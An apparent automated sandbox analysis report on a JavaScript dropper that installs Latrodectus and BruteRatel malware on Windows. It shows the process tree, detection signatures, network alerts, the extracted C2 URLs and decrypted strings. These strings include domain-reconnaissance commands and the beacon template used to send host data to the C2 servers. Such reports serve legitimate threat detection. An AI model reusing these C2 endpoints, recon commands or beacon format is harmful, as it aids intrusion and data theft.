Edit tour

Windows Analysis Report
Document-18-33-08.js

Overview

General Information

Sample name:	Document-18-33-08.js
Analysis ID:	1525184
MD5:	c05645ed2ec3ff5c541b99d20011a488
SHA1:	6822c03f0781ac932c31747610f1fe1039f6861f
SHA256:	a9a4640e3887e4ee71ae0e0624afa6b8fa6a22cdffd190f1d83234109dd8496d
Tags:	BruteRatelBruteRateljsuser-k3dg3___
Infos:

Detection

Bazar Loader, BruteRatel, Latrodectus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Bazar Loader

Yara detected BruteRatel

Yara detected Latrodectus

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Drops executables to the windows directory (C:\Windows) and starts them

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Sample has a suspicious name (potential lure to open the executable)

Sample uses string decryption to hide its real strings

Sets debug register (to hijack the execution of another thread)

Sigma detected: RunDLL32 Spawning Explorer

Sigma detected: WScript or CScript Dropper

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript install MSI file from remote location

Checks for available system drives (often done to infect USB drives)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: Msiexec Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

wscript.exe (PID: 984 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

msiexec.exe (PID: 768 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3228 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 3D862CBB7D25098EF2F446AEAACF52B4 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSIF29D.tmp (PID: 1848 cmdline: "C:\Windows\Installer\MSIF29D.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState MD5: B9545ED17695A32FACE8C3408A6A3553)

rundll32.exe (PID: 2924 cmdline: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5880 cmdline: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState MD5: EF3179D498793BF4234F708D3BE28633)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Brute Ratel C4, BruteRatel	Brute Ratel C4 (BRC4) is a commercial framework for red-teaming and adversarial attack simulation, which made its first appearance in December 2020. It was specifically designed to evade detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. BRC4 allows operators to deploy a backdoor agent known as Badger (aka BOLDBADGER) within a target environment.This agent enables arbitrary command execution, facilitating lateral movement, privilege escalation, and the establishment of additional persistence avenues. The Badger backdoor agent can communicate with a remote server via DNS over HTTPS, HTTP, HTTPS, SMB, and TCP, using custom encrypted channels. It supports a variety of backdoor commands including shell command execution, file transfers, file execution, and credential harvesting. Additionally, the Badger agent can perform tasks such as port scanning, screenshot capturing, and keystroke logging. Notably, in September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.	No Attribution	https://0xdarkvortex.dev/hiding-in-plainsight/ https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/ https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4

Name	Description	Attribution	Blogpost URLs	Link
Latrodectus, Latrodectus	First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.	No Attribution	https://0x0d4y.blog/case-study-analyzing-and-implementing-string-decryption-algorithms-latrodectus/ https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ https://any.run/malware-trends/latrodectus https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus

Malware Configuration

Threatname: Latrodectus

{"C2 url": ["https://isomicrotich.com/test/", "https://opewolumeras.com/test/"], "Group Name": "Alpha", "Campaign ID": 55079499}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3332076257.000001FF4AE58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_2	Yara detected BruteRatel	Joe Security
00000006.00000003.2444968399.000001FF4CA6D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000008.00000002.3353267482.000000000E6CB000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000006.00000002.3332247627.000001FF4B020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: rundll32.exe PID: 5880	JoeSecurity_BruteRatel_2	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 5880	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: rundll32.exe PID: 5880	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
decrypted.memstr	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.rundll32.exe.1ff4b020000.3.raw.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
6.2.rundll32.exe.1ff4b0a0000.5.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
6.2.rundll32.exe.1ff4b0a0000.5.raw.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: RunDLL32 Spawning Explorer

Source: Process started

Author: elhoim, CD_ROM_: Data: Command: C:\Windows\Explorer.EXE, CommandLine: C:\Windows\Explorer.EXE, CommandLine|base64offset|contains: , Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5880, ParentProcessName: rundll32.exe, ProcessCommandLine: C:\Windows\Explorer.EXE, ProcessId: 1028, ProcessName: explorer.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", ProcessId: 984, ProcessName: wscript.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 188.119.112.7, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\msiexec.exe, Initiated: true, ProcessId: 768, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js", ProcessId: 984, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE Latrodectus Loader Related Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T20:44:05.187319+0200	2048735	1	A Network Trojan was detected	192.168.2.5	50048	188.114.96.3	443	TCP
2024-10-03T20:44:08.857690+0200	2048735	1	A Network Trojan was detected	192.168.2.5	50050	188.114.96.3	443	TCP
2024-10-03T20:44:10.117125+0200	2048735	1	A Network Trojan was detected	192.168.2.5	50051	188.114.96.3	443	TCP
2024-10-03T20:44:14.824356+0200	2048735	1	A Network Trojan was detected	192.168.2.5	50053	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.0.explorer.exe.3050000.0.unpack

Malware Configuration Extractor: Latrodectus {"C2 url": ["https://isomicrotich.com/test/", "https://opewolumeras.com/test/"], "Group Name": "Alpha", "Campaign ID": 55079499}

Sample uses string decryption to hide its real strings

Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c ipconfig /all
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c systeminfo
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c nltest /domain_trusts
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c net view /all
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c nltest /domain_trusts /all_trusts
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c net view /all /domain
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &ipconfig=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c net group "Domain Admins" /domain
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\wbem\wmic.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c net config workstation
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /c whoami /groups
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &systeminfo=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &domain_trusts=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &domain_trusts_all=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &net_view_all_domain=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &net_view_all=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &net_group=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &wmic=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &net_config_ws=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &net_wmic_av=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &whoami_group=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "pid":
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "%d",
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "proc":
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "%s",
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "subproc": [
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &proclist=[
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "pid":
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "%d",
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "proc":
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "%s",
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "subproc": [
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &desklinks=[
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: .
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "%s"
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Update_%x
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Custom_update
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: .dll
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: .exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Error
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: runnung
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %s/%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: front
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: /files/
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Alpha
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Cookie:
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: POST
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: GET
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: curl/7.88.1
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: CLEARURL
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: URLS
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: COMMAND
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: ERROR
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: VHzTOEx62sr5cYaQrGJbsm05R2gZwO1VTkHTNfF8DAm5aNNw1n
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: [{"data":"
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: "}]
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &dpost=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: https://isomicrotich.com/test/
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: https://opewolumeras.com/test/
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: \*.dll
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: AppData
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Desktop
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Startup
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Personal
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Local AppData
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %s%d.dll
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: <!DOCTYPE
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Content-Length: 0
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: <html>
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Content-Type: application/dns-message
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: Content-Type: application/ocsp-request
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: 12345
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: 12345
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &stiller=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %s%d.exe
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %x%x
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &mac=
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %02x
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: :%02x
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &computername=%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: &domain=%s
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: LogonTrigger
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: \Registry\Machine\
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: TimeTrigger
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: PT0H%02dM
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: %04d-%02d-%02dT%02d:%02d:%02d
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: PT0S
Source: 8.0.explorer.exe.3050000.0.unpack	String decryptor: \update_data.dat

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50048 version: TLS 1.2

Source:	Binary string: kernel32.pdbUGP source: rundll32.exe, 00000006.00000003.2069928053.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\BUILD\work\b69487f8af4577da\BUILDSENG\Release\x64\ArPotEx64.pdb source: rundll32.exe, 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmp, vierm_soft_x64.dll.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSIF29D.tmp, 00000004.00000000.2061647641.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSIF29D.tmp, 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSI7623.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr
Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000006.00000003.2066566980.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: rundll32.exe, 00000006.00000003.2069928053.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: rundll32.exe, 00000006.00000003.2066566980.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF160.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF160.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSIF29D.tmp, 00000004.00000000.2061647641.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSIF29D.tmp, 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSI7623.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr
Source:	Binary string: kernelbase.pdb source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FEAF79 FindFirstFileExW,	4_2_00FEAF79
Source: C:\Windows\explorer.exe	Code function: 8_2_0305A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0305A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_03052B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_03052B28
Source: C:\Windows\explorer.exe	Code function: 8_2_030604C0 FindFirstFileW,	8_2_030604C0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50053 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50048 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50050 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50051 -> 188.114.96.3:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 82.115.223.39 8041	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.3 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 80.78.24.30 8041	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://isomicrotich.com/test/
Source: Malware configuration extractor	URLs: https://opewolumeras.com/test/

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50030
